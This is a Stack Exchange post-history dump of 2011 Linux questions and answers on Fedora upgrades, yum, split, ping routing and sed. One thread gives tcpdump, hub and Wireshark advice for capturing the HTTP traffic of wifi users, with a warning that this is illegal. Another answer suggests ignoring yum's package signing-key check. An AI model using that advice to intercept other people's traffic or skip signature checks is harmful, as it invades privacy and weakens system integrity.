  <row Id="24476" PostHistoryTypeId="25" PostId="10187" RevisionGUID="a659b6df-47e2-49d6-8da9-3d37099d60ce" CreationDate="2011-03-28T05:31:40.020" Comment="http://twitter.com/#!/StackUnix/status/52241420588814336" />
  <row Id="24480" PostHistoryTypeId="2" PostId="10209" RevisionGUID="d905c78c-cb41-483e-b2a7-18b881c62b6c" CreationDate="2011-03-28T06:45:11.117" UserId="5139" Text="I want to upgrade from fedora core 3 to latest release without using cd. I have internet connection. &#xD;&#xA;&#xD;&#xA;Is it possible to use `yum` to upgrade the OS entirely to the latest version? At present there are no `.repo` files in my `/etc/yum.repos.d/` directory. So I could not use the `yum` command.&#xD;&#xA;&#xD;&#xA;How to get the necessary repository and to upgrade the OS? please help! &#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="24481" PostHistoryTypeId="1" PostId="10209" RevisionGUID="d905c78c-cb41-483e-b2a7-18b881c62b6c" CreationDate="2011-03-28T06:45:11.117" UserId="5139" Text="How to upgrade fedora core 3?" />
  <row Id="24482" PostHistoryTypeId="3" PostId="10209" RevisionGUID="d905c78c-cb41-483e-b2a7-18b881c62b6c" CreationDate="2011-03-28T06:45:11.117" UserId="5139" Text="éfedoraàéyumà" />
  <row Id="24484" PostHistoryTypeId="2" PostId="10210" RevisionGUID="d07a0fd3-5e06-4570-b55c-ef2d281c42bf" CreationDate="2011-03-28T07:17:50.193" UserId="4949" Text="Unless your brand of router specifically allows for that kind of interception (most don't unless you're talking about industrial grade stuff with triple digit costs and usage licenses) I'm afraid you're sunk; a better bet might be to install a wifi card in your computer and try to sniff the wireless traffic directly using something like [wireshark][1] or [Kismet][2]. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.wireshark.org/&#xD;&#xA;  [2]: http://www.kismetwireless.net/" />
  <row Id="24485" PostHistoryTypeId="2" PostId="10211" RevisionGUID="fa9aea35-d3c1-4fbc-9848-c7cdfeaac1fa" CreationDate="2011-03-28T07:21:54.503" UserId="5139" Text="Somehow I found a repository for fedora core 3 flash plug-in. When I tried to install the flash plug-in I have encountered this error. I can't figure it out what does it mean, or how to solve this error.&#xD;&#xA;&#xD;&#xA;    [root@g22 ~]# yum install flash-plugin&#xD;&#xA;    Setting up Install Process&#xD;&#xA;    Setting up Repo:  opennms-unstable-fc7&#xD;&#xA;    repomd.xml                100% |=========================|  951 B    00:00&#xD;&#xA;    Setting up Repo:  opennms-testing-fc7&#xD;&#xA;    repomd.xml                100% |=========================|  951 B    00:00&#xD;&#xA;    Setting up Repo:  flash&#xD;&#xA;    repomd.xml                100% |=========================| 1.9 kB    00:00&#xD;&#xA;    Setting up Repo:  opennms-stable-fc7&#xD;&#xA;    repomd.xml                100% |=========================|  951 B    00:00&#xD;&#xA;    Setting up Repo:  opennms-snapshot-fc7&#xD;&#xA;    repomd.xml                100% |=========================|  951 B    00:00&#xD;&#xA;    Reading repository metadata in from local files&#xD;&#xA;    opennms-un: ################################################## 23/23&#xD;&#xA;    opennms-te: ################################################## 25/25&#xD;&#xA;    flash     : ################################################## 4/4&#xD;&#xA;    opennms-st: ################################################## 22/22&#xD;&#xA;    opennms-sn: ################################################## 27/27&#xD;&#xA;    Resolving Dependencies&#xD;&#xA;    --&gt; Populating transaction set with selected packages. Please wait.&#xD;&#xA;    ---&gt; Downloading header for flash-plugin to pack into transaction set.&#xD;&#xA;    flash-plugin-9.0.48.0-a.i 100% |=========================| 5.9 kB    00:00&#xD;&#xA;    ---&gt; Package flash-plugin.i386 0:9.0.48.0-a set to be installed&#xD;&#xA;    --&gt; Running transaction check&#xD;&#xA;    &#xD;&#xA;    Dependencies Resolved&#xD;&#xA;    Transaction Listing:&#xD;&#xA;      Install: flash-plugin.i386 0:9.0.48.0-a&#xD;&#xA;    Is this ok [y/N]: y&#xD;&#xA;    Downloading Packages:&#xD;&#xA;    flash-plugin-9.0.48.0-a.i 100% |=========================| 2.5 MB    06:10&#xD;&#xA;    warning: rpmts_HdrFromFdno: V3 DSA signature: NOKEY, key ID 8df56d05&#xD;&#xA;    public key not available for //var/cache/yum/flash/packages/flash-plugin-9.0.48.0-a.i386.rpm&#xD;&#xA;&#xD;&#xA; Any little help is much appreciated. :)" />
  <row Id="24486" PostHistoryTypeId="1" PostId="10211" RevisionGUID="fa9aea35-d3c1-4fbc-9848-c7cdfeaac1fa" CreationDate="2011-03-28T07:21:54.503" UserId="5139" Text="Flash plugin installation error" />
  <row Id="24487" PostHistoryTypeId="3" PostId="10211" RevisionGUID="fa9aea35-d3c1-4fbc-9848-c7cdfeaac1fa" CreationDate="2011-03-28T07:21:54.503" UserId="5139" Text="éyumàéflashà" />
  <row Id="24488" PostHistoryTypeId="2" PostId="10212" RevisionGUID="976ef009-bbae-4a64-a364-9b6f570331bb" CreationDate="2011-03-28T07:49:20.353" UserId="5923" Text="I once made an ugly script for a similar purpose. It is just a kludge, but when I wrote it I didn't care about execution time or prettiness. I'm sure there are more &quot;productified&quot; versions of the same concept around, but If you wish to get some ideas or something to start hacking on, here goes (did it in 2008, so use at your own risk!) :-)&#xD;&#xA;&#xD;&#xA;    #!/bin/sh -&#xD;&#xA;    REPO=/export/foton/PictureStore&#xD;&#xA;    LINKS=/export/foton/links&#xD;&#xA;    SPLITTIX=`date '+%y%m%d-%H%M'`&#xD;&#xA;&#xD;&#xA;    # kilobytes&#xD;&#xA;    DVDSIZE=4400000&#xD;&#xA;    PARTPREFIX=&quot;DVD-&quot;&#xD;&#xA;    REPOSIZE=`du -sk ${REPO} | awk '{print $1}'`&#xD;&#xA;    NUMPARTS=`expr $REPOSIZE / $DVDSIZE`&#xD;&#xA;    SPLITDIR=${LINKS}/splits/${SPLITTIX}&#xD;&#xA;    mkdir -p $SPLITDIR&#xD;&#xA;&#xD;&#xA;    PARTNUM=1&#xD;&#xA;    PARTSIZ=0&#xD;&#xA;    DONESIZ=0&#xD;&#xA;    PARTNUM=`echo $PARTNUM | awk '{printf(&quot;%03x&quot;, $0)}'`&#xD;&#xA;    mkdir -p ${SPLITDIR}/${PARTPREFIX}${PARTNUM}&#xD;&#xA;    for D in `ls ${REPO}`&#xD;&#xA;    do&#xD;&#xA;      D_SIZ=`du -sk ${REPO}/$D | awk '{print $1}'`&#xD;&#xA;      if test `expr $D_SIZ + $PARTSIZ` -le $DVDSIZE&#xD;&#xA;      then&#xD;&#xA;        # link to D in this part&#xD;&#xA;        ln -s $REPO/$D ${SPLITDIR}/${PARTPREFIX}${PARTNUM}/$D&#xD;&#xA;        # adjust counters&#xD;&#xA;        PARTSIZ=`expr $PARTSIZ + $D_SIZ`&#xD;&#xA;        DONESIZ=`expr $DONESIZ + $D_SIZ`&#xD;&#xA;      else&#xD;&#xA;        # next part and link to D in that&#xD;&#xA;        echo PART $PARTNUM: $PARTSIZ kb '(target' $DVDSIZE 'kb)'&#xD;&#xA;        PARTNUM=`expr $PARTNUM + 1`&#xD;&#xA;        PARTNUM=`echo $PARTNUM | awk '{printf(&quot;%03x&quot;, $0)}'`&#xD;&#xA;        PARTSIZ=$D_SIZ&#xD;&#xA;        DONESIZ=`expr $DONESIZ + $D_SIZ`&#xD;&#xA;        mkdir -p ${SPLITDIR}/${PARTPREFIX}${PARTNUM}&#xD;&#xA;        ln -s $REPO/$D ${SPLITDIR}/${PARTPREFIX}${PARTNUM}/$D&#xD;&#xA;      fi&#xD;&#xA;    done&#xD;&#xA;    echo wrote $DONESIZ kb in $PARTNUM parts in $SPLITDIR&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I think I had the result shared through samba to a windows host that burned discs from it. If you use the above unaltered, you may wish to use `mkisofs` or another archiver that resolves symlinks." />
  <row Id="24489" PostHistoryTypeId="2" PostId="10213" RevisionGUID="bd5ccaeb-5146-430b-9429-d868b4aa6e62" CreationDate="2011-03-28T07:57:48.613" UserId="5923" Text="The SSH equivalent of `sftp -b &lt;filename&gt; &lt;hostname&gt;` would be:&#xD;&#xA;&#xD;&#xA;`ssh -o BatchMode=yes &lt;hostname&gt; sh -s &lt; &quot;&lt;filename&gt;&quot;`&#xD;&#xA;&#xD;&#xA;" />
  <row Id="24490" PostHistoryTypeId="25" PostId="10209" RevisionGUID="6f56b26f-83b4-4d5f-b476-b8c69b67b233" CreationDate="2011-03-28T08:31:40.270" Comment="http://twitter.com/#!/StackUnix/status/52286720342892544" />
  <row Id="24491" PostHistoryTypeId="2" PostId="10214" RevisionGUID="6580f794-6895-4569-a74d-6d990275170d" CreationDate="2011-03-28T08:34:13.650" UserId="4096" Text="`/proc/sys/vm/swappiness` is nice but i want a knob that's per process like `/proc/$PID/oom_adj` so that i can make certain processes less likely than others to have any of their pages swapped out unlike memlock this doesn't prevent a program from being swapped and like nice the user by default can't make their programs less likely but only more likely to get swapped i think i'd a call this `/proc/$PID/swappiness_adj`" />
  <row Id="24492" PostHistoryTypeId="1" PostId="10214" RevisionGUID="6580f794-6895-4569-a74d-6d990275170d" CreationDate="2011-03-28T08:34:13.650" UserId="4096" Text="per process swapiness for linux" />
  <row Id="24493" PostHistoryTypeId="3" PostId="10214" RevisionGUID="6580f794-6895-4569-a74d-6d990275170d" CreationDate="2011-03-28T08:34:13.650" UserId="4096" Text="élinuxàéswapà" />
  <row Id="24494" PostHistoryTypeId="5" PostId="10209" RevisionGUID="24b5b3c0-ba79-4f52-aad4-70bcda5759fc" CreationDate="2011-03-28T08:38:17.080" UserId="688" Comment="deleted 23 characters in body; edited title" Text="I want to upgrade from fedora core 3 to latest release without using a cd. I have internet connection. &#xD;&#xA;&#xD;&#xA;Is it possible to use `yum` to upgrade the OS entirely to the latest version? At present there are no `.repo` files in my `/etc/yum.repos.d/` directory. So I could not use the `yum` command.&#xD;&#xA;&#xD;&#xA;How to get the necessary repository and to upgrade the OS?" />
  <row Id="24495" PostHistoryTypeId="4" PostId="10209" RevisionGUID="24b5b3c0-ba79-4f52-aad4-70bcda5759fc" CreationDate="2011-03-28T08:38:17.080" UserId="688" Comment="deleted 23 characters in body; edited title" Text="How to upgrade Fedora Core 3?" />
  <row Id="24496" PostHistoryTypeId="2" PostId="10215" RevisionGUID="de83cd3a-5452-4c01-b9cf-b5638889968e" CreationDate="2011-03-28T09:00:56.367" UserId="5666" Text="    tcpdump -i ethX -w capturefile net x.x.x.x/y&#xD;&#xA;&#xD;&#xA;Where ethX the card which receives this traffic and `x.x.x.x/y` is the cidr of the wireless network. This should capture anything coming or going to this network and save it to &quot;capturefile&quot; file. Add `and port 80` in the end if you want only web traffic.&#xD;&#xA;&#xD;&#xA;Unless you've acquired permission from those who use the wireless network, this is probably illegal." />
  <row Id="24497" PostHistoryTypeId="2" PostId="10216" RevisionGUID="ec466c5e-1ba7-450f-a1e6-227bbf5e9129" CreationDate="2011-03-28T09:01:19.517" UserId="571" Text="I don't think using yum is feasible for such an early release of Fedora. I seem to remember having trauma upgrading an FC4 system. My best advice is to:&#xD;&#xA;&#xD;&#xA; 1. Download and burn a DVD of the latest version of Fedora.&#xD;&#xA; 2. Backup any important user files as Faheem suggests.&#xD;&#xA; 3. Start the installation process (reboot from the DVD).&#xD;&#xA; 4. At the boot prompt use the 'upgrade' option.&#xD;&#xA;&#xD;&#xA;This will attempt to upgrade your system without affecting your user files. If this fails, you'll need to do a fresh installation and re-install your backed up files.&#xD;&#xA;&#xD;&#xA;For later versions of Fedora, using yum is much better supported:&#xD;&#xA;&#xD;&#xA;    yum install preupgrade&#xD;&#xA;    preupgrade&#xD;&#xA;&#xD;&#xA;This will download the correct versions of all the RPMs required and set everything up so that the system can upgrade itself when it reboots." />
  <row Id="24498" PostHistoryTypeId="2" PostId="10217" RevisionGUID="2ff9411c-a6ef-4162-9b95-ddb0f1eea780" CreationDate="2011-03-28T09:03:35.537" UserId="6103" Text="REPOST due to finding a linux stack exchange&#xD;&#xA;&#xD;&#xA;Hi im trying to ping from a specific interface, I have a wired and a wireless connection both going into my laptop.&#xD;&#xA;&#xD;&#xA;My wired adaptor eth0 is on the ip 172.16.109.75&#xD;&#xA;my wifi adaptor wlan0 is on the ip 192.168.1.69&#xD;&#xA;&#xD;&#xA;when I ping google with my eth0 unplugged with the following command &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    conneco@mcr-pc-29334:~$ ping -I wlan0 www.google.co.uk&#xD;&#xA;    PING www.l.google.com (74.125.230.115) from 192.168.1.69 wlan0: 56(84) bytes of data.&#xD;&#xA;    64 bytes from 74.125.230.115: icmp_seq=1 ttl=51 time=32.7 ms&#xD;&#xA;    64 bytes from 74.125.230.115: icmp_seq=2 ttl=52 time=28.7 ms&#xD;&#xA;    64 bytes from 74.125.230.115: icmp_seq=3 ttl=52 time=28.9 ms&#xD;&#xA;    ^C64 bytes from 74.125.230.115: icmp_seq=4 ttl=52 time=28.3 ms&#xD;&#xA;    It works fine as expected&#xD;&#xA;&#xD;&#xA;i plug my eth0 cable in&#xD;&#xA;&#xD;&#xA;and run the same again:-&#xD;&#xA;&#xD;&#xA;    conneco@mcr-pc-29334:~$ ping -I wlan0 www.google.co.uk&#xD;&#xA;    PING www.l.google.com (74.125.230.112) from 172.16.109.75 wlan0: 56(84) bytes of data.&#xD;&#xA;    From mcr-pc-29334.local (192.168.1.69) icmp_seq=2 Destination Host Unreachable&#xD;&#xA;    From mcr-pc-29334.local (192.168.1.69) icmp_seq=3 Destination Host Unreachable&#xD;&#xA;    From mcr-pc-29334.local (192.168.1.69) icmp_seq=4 Destination Host Unreachable&#xD;&#xA;    From mcr-pc-29334.local (192.168.1.69) icmp_seq=5 Destination Host Unreachable&#xD;&#xA;    From mcr-pc-29334.local (192.168.1.69) icmp_seq=6 Destination Host Unreachable&#xD;&#xA;    From mcr-pc-29334.local (192.168.1.69) icmp_seq=7 Destination Host Unreachable&#xD;&#xA;&#xD;&#xA;By the output at the top it seems to send it from the eth0 (which in work wont be able to ping because it gets blocked, but the wifi is another link to seperate network where im straight on the net and therefore sending the ping request from the wlan0 should work, any one any ideas on whats happening?&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="24499" PostHistoryTypeId="1" PostId="10217" RevisionGUID="2ff9411c-a6ef-4162-9b95-ddb0f1eea780" CreationDate="2011-03-28T09:03:35.537" UserId="6103" Text="Ping from a specific interface, Not the expected result" />
  <row Id="24500" PostHistoryTypeId="3" PostId="10217" RevisionGUID="2ff9411c-a6ef-4162-9b95-ddb0f1eea780" CreationDate="2011-03-28T09:03:35.537" UserId="6103" Text="éubuntuàépingà" />
  <row Id="24502" PostHistoryTypeId="2" PostId="10219" RevisionGUID="17cf781f-9c15-40a9-afd3-bf61e53d444c" CreationDate="2011-03-28T09:16:03.543" UserId="2504" Text="How can I split a text file into 70% and 30% using the split command ?" />
  <row Id="24503" PostHistoryTypeId="1" PostId="10219" RevisionGUID="17cf781f-9c15-40a9-afd3-bf61e53d444c" CreationDate="2011-03-28T09:16:03.543" UserId="2504" Text="Split: how to split into different percentages ?" />
  <row Id="24504" PostHistoryTypeId="3" PostId="10219" RevisionGUID="17cf781f-9c15-40a9-afd3-bf61e53d444c" CreationDate="2011-03-28T09:16:03.543" UserId="2504" Text="ésplità" />
  <row Id="24505" PostHistoryTypeId="2" PostId="10220" RevisionGUID="243069da-f081-446b-a38b-0e027af03eb0" CreationDate="2011-03-28T09:17:26.113" UserId="4671" Text="I want to list all packages of the form&#xD;&#xA;&#xD;&#xA;    $ dpkg -l libav\*&#xD;&#xA;&#xD;&#xA;but I would like in addition to this output, the origin/source (I'm not sure of the preferred term) of each package. If the package doesn't correspond to any source, it should say unknown or similar. Off the top of my head, the most promising approach would be to use [dctrl-tools](http://packages.debian.org/squeeze/dctrl-tools), but I'm not sure how to go about it. For background, I'm trying to debug a library mismatch with ffmpeg. See [Debian bug report - ffmpeg: backport of 4:0.6.1-5 from unstable produces WARNING: library configuration mismatch](http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=619530)." />
  <row Id="24506" PostHistoryTypeId="1" PostId="10220" RevisionGUID="243069da-f081-446b-a38b-0e027af03eb0" CreationDate="2011-03-28T09:17:26.113" UserId="4671" Text="listing packages in Debian, a la `dpkg -l`, but including the package origin/source" />
  <row Id="24507" PostHistoryTypeId="3" PostId="10220" RevisionGUID="243069da-f081-446b-a38b-0e027af03eb0" CreationDate="2011-03-28T09:17:26.113" UserId="4671" Text="édebianàédpkgà" />
  <row Id="24508" PostHistoryTypeId="2" PostId="10221" RevisionGUID="eb2a43d3-b2ca-463e-8530-ecec9d3fcf6d" CreationDate="2011-03-28T09:28:39.567" UserId="4319" Text="I once wrote a script to solve a similar problem -- I called it &quot;distribute&quot; ([download](http://prometheus.altlinux.org/en/Sisyphus/srpms/distribute/get)); from its [description](http://prometheus.altlinux.org/en/Sisyphus/srpms/distribute):&#xD;&#xA;&#xD;&#xA;&gt; **distribute** -- Distribute a collection of packages on&#xD;&#xA;&gt; multiple CDs (especially good for&#xD;&#xA;&gt; future use with APT)&#xD;&#xA;&gt; &#xD;&#xA;&gt; Description:&#xD;&#xA;&gt; `distribute' program makes doing the&#xD;&#xA;&gt; tasks related to creating a CD set for&#xD;&#xA;&gt; distribution of a collection of&#xD;&#xA;&gt; packages easier. The tasks include: &#xD;&#xA;&gt; laying out the CDs filesystem&#xD;&#xA;&gt; (splitting the large amount of&#xD;&#xA;&gt; packages into  several discs etc.),&#xD;&#xA;&gt; preparing the collection for use by&#xD;&#xA;&gt; APT  (indexing), creating ISO images&#xD;&#xA;&gt; and recording the discs.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Periodical updates to the initially&#xD;&#xA;&gt; distributed collection can be issued&#xD;&#xA;&gt; with  help of `distribute'.&#xD;&#xA;&#xD;&#xA;It does the whole process in several stages (at one stage, it creates the furure disk &quot;layouts&quot; by using symlinks to the original files -- so you can intervene and change the future disk trees).&#xD;&#xA;&#xD;&#xA;The details about its usage can be read in the help message printed by the script (or by looking into the source code).&#xD;&#xA;&#xD;&#xA;It was written with a more trickier use case in mind (issuing updates as a &quot;diff&quot; to the originally recorded collection of files), so it includes one extra initial stage, namely, &quot;fixing&quot; the current state of the collection of files (for simplicity, it does this by replicating the original collection of files by means of symlinks, in a special working place for saving the states of the collection; then, some time in the future, it will be able to create a diff between a future current state of the collection of files and the current current state). So, although you might not need this feature, you can't skip this initial stage, AFAIR.&#xD;&#xA;&#xD;&#xA;Also, I'm not sure now (I wrote it quite a few years ago) whether it treats complex trees well, or it is supposed to split only plain (one level) directories of files. (Please look into the help message or the source code to be sure; I'll look this up, too, a bit later, when I'll have some time.)&#xD;&#xA;&#xD;&#xA;The APT-related stuff is optional, so don't pay attention that it can prepare package collections to be used by APT if you don't need this.&#xD;&#xA;&#xD;&#xA;If you get interested, of course, feel free to rewrite it to your needs or suggest improvements.&#xD;&#xA;" />
  <row Id="24509" PostHistoryTypeId="5" PostId="10220" RevisionGUID="3f9da77b-9d54-4000-8ad8-18c5f9a8fe1a" CreationDate="2011-03-28T09:35:17.397" UserId="4671" Comment="add format example; edited body" Text="I want to list all packages of the form&#xD;&#xA;&#xD;&#xA;    $ dpkg -l libav\*&#xD;&#xA;&#xD;&#xA;but in addition to this output, I would like the origin/source (I'm not sure of the preferred term) of each package. If the package doesn't correspond to any source, it should say unknown or similar. Off the top of my head, the most promising approach would be to use [dctrl-tools](http://packages.debian.org/squeeze/dctrl-tools), but I'm not sure how to go about it. For background, I'm trying to debug a library mismatch with ffmpeg. See [Debian bug report - ffmpeg: backport of 4:0.6.1-5 from unstable produces WARNING: library configuration mismatch](http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=619530).&#xD;&#xA;&#xD;&#xA;Just to be clear on the format, this should look something like&#xD;&#xA;&#xD;&#xA;    ii  libavahi-client-dev                  0.6.27-2+squeeze1                  &#xD;&#xA;    Development files for the Avahi client library     squeeze&#xD;&#xA;    ii  libavcodec-dev                       4:0.6.1-5                              &#xD;&#xA;    Development files for libavcodec                   unstable " />
  <row Id="24510" PostHistoryTypeId="2" PostId="10222" RevisionGUID="ae69c763-79cf-4001-a356-9b4be96f0571" CreationDate="2011-03-28T09:43:42.357" UserId="5666" Text="Probably, when plugin in the ethernet cable, your default route gateway changes by dhcp. You send packets from wlan0 but your system doesn't know who is the gateway to forward them to. This way you can only ping systems within 192.168.1 network but not further. If you want to get a reply from the google server, you'll have to either change the default gateway back to the wireless router, or add a specific route for this server.&#xD;&#xA;&#xD;&#xA;    route add -host 74.125.230.112/32 gateway 192.168.1.1 # assuming 192.168.1.1 is the wireless router's ip" />
  <row Id="24511" PostHistoryTypeId="2" PostId="10223" RevisionGUID="0f9a8105-9bf2-4977-8600-6d47a9c42b44" CreationDate="2011-03-28T09:52:55.160" UserId="4671" Text="This looking like a harmless warning. rpm did not find the gpg signing key, or something like that. Is this the end of the output? If so, you may need to configure yum to ignore the signing key issue. " />
  <row Id="24512" PostHistoryTypeId="2" PostId="10224" RevisionGUID="b52f8af1-e715-49b1-aad0-bd34ffa86567" CreationDate="2011-03-28T10:01:23.250" UserId="5666" Text="The commands below will work for percentages above 50% (if you want to split only into two files), quick and dirty approach.&#xD;&#xA;&#xD;&#xA;1) split 70% based on lines&#xD;&#xA;&#xD;&#xA;    split -l $[ $(wc -l filename|cut -d&quot; &quot; -f1) * 70 / 100 ] filename &#xD;&#xA;&#xD;&#xA;2) split 70% based on bytes&#xD;&#xA;&#xD;&#xA;    split -b $[ $(wc -c filename|cut -d&quot; &quot; -f1) * 70 / 100 ] filename&#xD;&#xA;" />
  <row Id="24513" PostHistoryTypeId="5" PostId="10206" RevisionGUID="6c622f40-4ca9-4560-8e2d-eca49323ac95" CreationDate="2011-03-28T10:13:59.543" UserId="4807" Comment="added 25 characters in body" Text="I would like to create a system like this.&#xD;&#xA;![enter image description here][1]&#xD;&#xA;&#xD;&#xA;  [1]: http://gyazo.com/45210b1932d7140cdc160b3a672173c6.png&#xD;&#xA;&#xD;&#xA;The user would connect through a wifi network which would reroute all http requests and responses through the network card on a computer thus allowing that computer to sniff the packets. I have debian running on the computer. How would i go about doing this?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="24514" PostHistoryTypeId="5" PostId="10193" RevisionGUID="1da09ecf-a1f2-4b20-a2bb-ad0a79a08c88" CreationDate="2011-03-28T10:16:21.070" UserId="1170" Comment="added 264 characters in body" Text="Seems to be an effect of this bug: https://bugzilla.gnome.org/show_bug.cgi?id=127731&#xD;&#xA;&#xD;&#xA;The bug is triggered when you have a very long line (something over 500k chars). You can stop it from happening by inserting some line breaks. If you really need the long line without line breaks then you will have to use another editor until the bug is fixed." />
  <row Id="24515" PostHistoryTypeId="2" PostId="10225" RevisionGUID="7ef061b0-a21a-40e4-97bb-64cebd17c889" CreationDate="2011-03-28T10:22:44.007" UserId="3886" Text="You can connect modem directly to your computer and make router so send all traffic through your debian system. In this case you may do anything you want with packets.&#xD;&#xA;&#xD;&#xA;P.S.: do you need something like [this][1]?&#xD;&#xA;&#xD;&#xA;  [1]: http://www.faqs.org/docs/Linux-mini/TransparentProxy.html" />
  <row Id="24516" PostHistoryTypeId="5" PostId="10215" RevisionGUID="2a84e10c-c4ec-4485-90f3-3727a9dcb2df" CreationDate="2011-03-28T10:48:13.120" UserId="5666" Comment="added 211 characters in body" Text="    tcpdump -i ethX -w capturefile net x.x.x.x/y&#xD;&#xA;&#xD;&#xA;Where ethX the card which receives this traffic and `x.x.x.x/y` is the cidr of the wireless network. This should capture anything coming or going to this network and save it to &quot;capturefile&quot; file. Add `and port 80` in the end if you want only web traffic.&#xD;&#xA;&#xD;&#xA;Unless you've acquired permission from those who use the wireless network, this is probably illegal.&#xD;&#xA;&#xD;&#xA;EDIT:&#xD;&#xA;&#xD;&#xA;I though you already had setup the rerouting part. If you're asking how to reroute the specific traffic, it is possible but it depends on the hardware you have and probably I can't help you on that." />
  <row Id="24517" PostHistoryTypeId="2" PostId="10226" RevisionGUID="0f752ca9-097e-4934-a6ab-3ca595b13005" CreationDate="2011-03-28T11:15:06.663" UserId="6106" Text="Is it possible to do a multiline pattern match using sed, awk or grep. Take for example, I would like to get all the lines between &amp;lt;p&amp;gt; and &amp;lt;/p&amp;gt;&#xD;&#xA;&#xD;&#xA;So it should be able to match &#xD;&#xA;&#xD;&#xA; 1. &amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;&#xD;&#xA; 2. &amp;lt;p&amp;gt;......&amp;lt;/p&amp;gt; &#xD;&#xA; 3. &amp;lt;p&amp;gt;....&lt;br&gt;&#xD;&#xA;    ......&amp;lt;/p&amp;gt;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="24518" PostHistoryTypeId="1" PostId="10226" RevisionGUID="0f752ca9-097e-4934-a6ab-3ca595b13005" CreationDate="2011-03-28T11:15:06.663" UserId="6106" Text="Multiline pattern match using sed, awk or grep" />
  <row Id="24519" PostHistoryTypeId="3" PostId="10226" RevisionGUID="0f752ca9-097e-4934-a6ab-3ca595b13005" CreationDate="2011-03-28T11:15:06.663" UserId="6106" Text="égrepàésedàéawkà" />
  <row Id="24520" PostHistoryTypeId="25" PostId="10226" RevisionGUID="c3b2a09c-d17f-4704-b12f-26bf3f7a5593" CreationDate="2011-03-28T11:31:39.930" Comment="http://twitter.com/#!/StackUnix/status/52332017379049472" />
  <row Id="24521" PostHistoryTypeId="5" PostId="10215" RevisionGUID="c6d462fa-66f5-4465-a4e1-ed06b99c6814" CreationDate="2011-03-28T11:41:50.940" UserId="5666" Comment="added 213 characters in body; added 1 characters in body" Text="    tcpdump -i ethX -w capturefile net x.x.x.x/y&#xD;&#xA;&#xD;&#xA;Where ethX the card which receives this traffic and `x.x.x.x/y` is the cidr of the wireless network. This should capture anything coming or going to this network and save it to &quot;capturefile&quot; file. Add `and port 80` in the end if you want only web traffic.&#xD;&#xA;&#xD;&#xA;This looks like a &quot;honeypot&quot; setup. If you are trying to capture http sessions and/or other private information, this is illegal. Even if those users are trying to steal your internet connection. &lt;strike&gt;Unless you've acquired permission from those who use the wireless network, this is probably illegal.&lt;/strike&gt;&#xD;&#xA;&#xD;&#xA;EDIT:&#xD;&#xA;&#xD;&#xA;I thought you already had setup the rerouting part. If you're asking how to reroute the specific traffic, it is possible but it depends on the hardware you have and probably I can't help you on that." />
  <row Id="24522" PostHistoryTypeId="2" PostId="10227" RevisionGUID="59fa85b4-4921-490a-b370-3e26f1843dda" CreationDate="2011-03-28T12:20:34.713" UserId="2671" Text="You can configure swappiness per cgroup:&#xD;&#xA;&#xD;&#xA;http://www.kernel.org/doc/Documentation/cgroups/cgroups.txt&#xD;&#xA;&#xD;&#xA;http://www.kernel.org/doc/Documentation/cgroups/memory.txt" />
  <row Id="24523" PostHistoryTypeId="2" PostId="10228" RevisionGUID="22a4a622-bdd2-45e7-8047-a71c2c294210" CreationDate="2011-03-28T12:30:36.263" UserId="434" Text="XML like expressions (infinintely recursive tags) is not a 'regular language' therefore cannot be parsed with regular expressions (regex).  Here's why:&#xD;&#xA;&#xD;&#xA;http://stackoverflow.com/questions/1732348/regex-match-open-tags-except-xhtml-self-contained-tags/&#xD;&#xA;&#xD;&#xA;http://www.perlmonks.org/?node_id=668353&#xD;&#xA;&#xD;&#xA;http://stackoverflow.com/questions/1379524/textual-protocol-which-is-not-a-regular-language" />
  <row Id="24524" PostHistoryTypeId="5" PostId="10226" RevisionGUID="92720007-194b-436c-9d15-572709c006e0" CreationDate="2011-03-28T13:04:42.147" UserId="6106" Comment="added 12 characters in body; added 6 characters in body" Text="Is it possible to do a multiline pattern match using sed, awk or grep. Take for example, I would like to get all the lines between { and }&#xD;&#xA;&#xD;&#xA;So it should be able to match &#xD;&#xA;&#xD;&#xA; 1. {}&#xD;&#xA; 2. {.....}&#xD;&#xA; 3. {.....&lt;br&gt;&#xD;&#xA;     .....}&#xD;&#xA;&#xD;&#xA;Initially the question used &amp;lt;p&amp;gt; as an example. Edited the question to use {,}&#xD;&#xA;&#xD;&#xA;" />
  <row Id="24528" PostHistoryTypeId="5" PostId="10200" RevisionGUID="ee9e7d13-75e6-4536-a6c0-cebf89a21e79" CreationDate="2011-03-28T13:45:37.003" UserId="73" Comment="deleted 85 characters in body" Text="I have a file called `students.txt` and it contains the following data in the format `Surname, Forename: day.month.year: Degree`:&#xD;&#xA;&#xD;&#xA;    Smith, John: 15.01.1986: MSc IT &#xD;&#xA;    Taylor, Susan: 04.05.1987: MSc IT &#xD;&#xA;    Thomas, Steve: 19.04.1986: MSc MIT &#xD;&#xA;    Sennick, Joseph: 01.12.1987: MSc IT &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I'm trying to return all lines in the format `Forename,Surname: day.month.year`, but without the `MSc` degree being studied. So far I have:&#xD;&#xA;&#xD;&#xA;    sed -e 's/\(.*\),(.*\)/\2/\1/' students.txt&#xD;&#xA;&#xD;&#xA;What's wrong with that?" />
  <row Id="24529" PostHistoryTypeId="4" PostId="10200" RevisionGUID="78da6e54-8c22-4638-9424-6e3740594f6b" CreationDate="2011-03-28T14:02:44.097" UserId="73" Comment="edited title" Text="Manipulating a file with sed" />
  <row Id="24530" PostHistoryTypeId="2" PostId="10229" RevisionGUID="4ea549ff-9144-479d-800d-9ddef62632b8" CreationDate="2011-03-28T14:25:18.157" UserId="3389" Text="Get a 10/100 ethernet hub, a real hub, like a Netgear DS104.  Put it between the wifi and the router.  Hubs replicate traffic on all ports, so you can connect a separate machine to another port on the hub and sniff everything." />
  <row Id="24531" PostHistoryTypeId="2" PostId="10230" RevisionGUID="7d30ed2b-3f0b-459f-b77f-dfcc47b95a25" CreationDate="2011-03-28T14:25:59.077" UserId="6109" Text="to ping from some Interface you shou use:&#xD;&#xA;ping -I ethx xxx.xxx.xxx.xxx" />
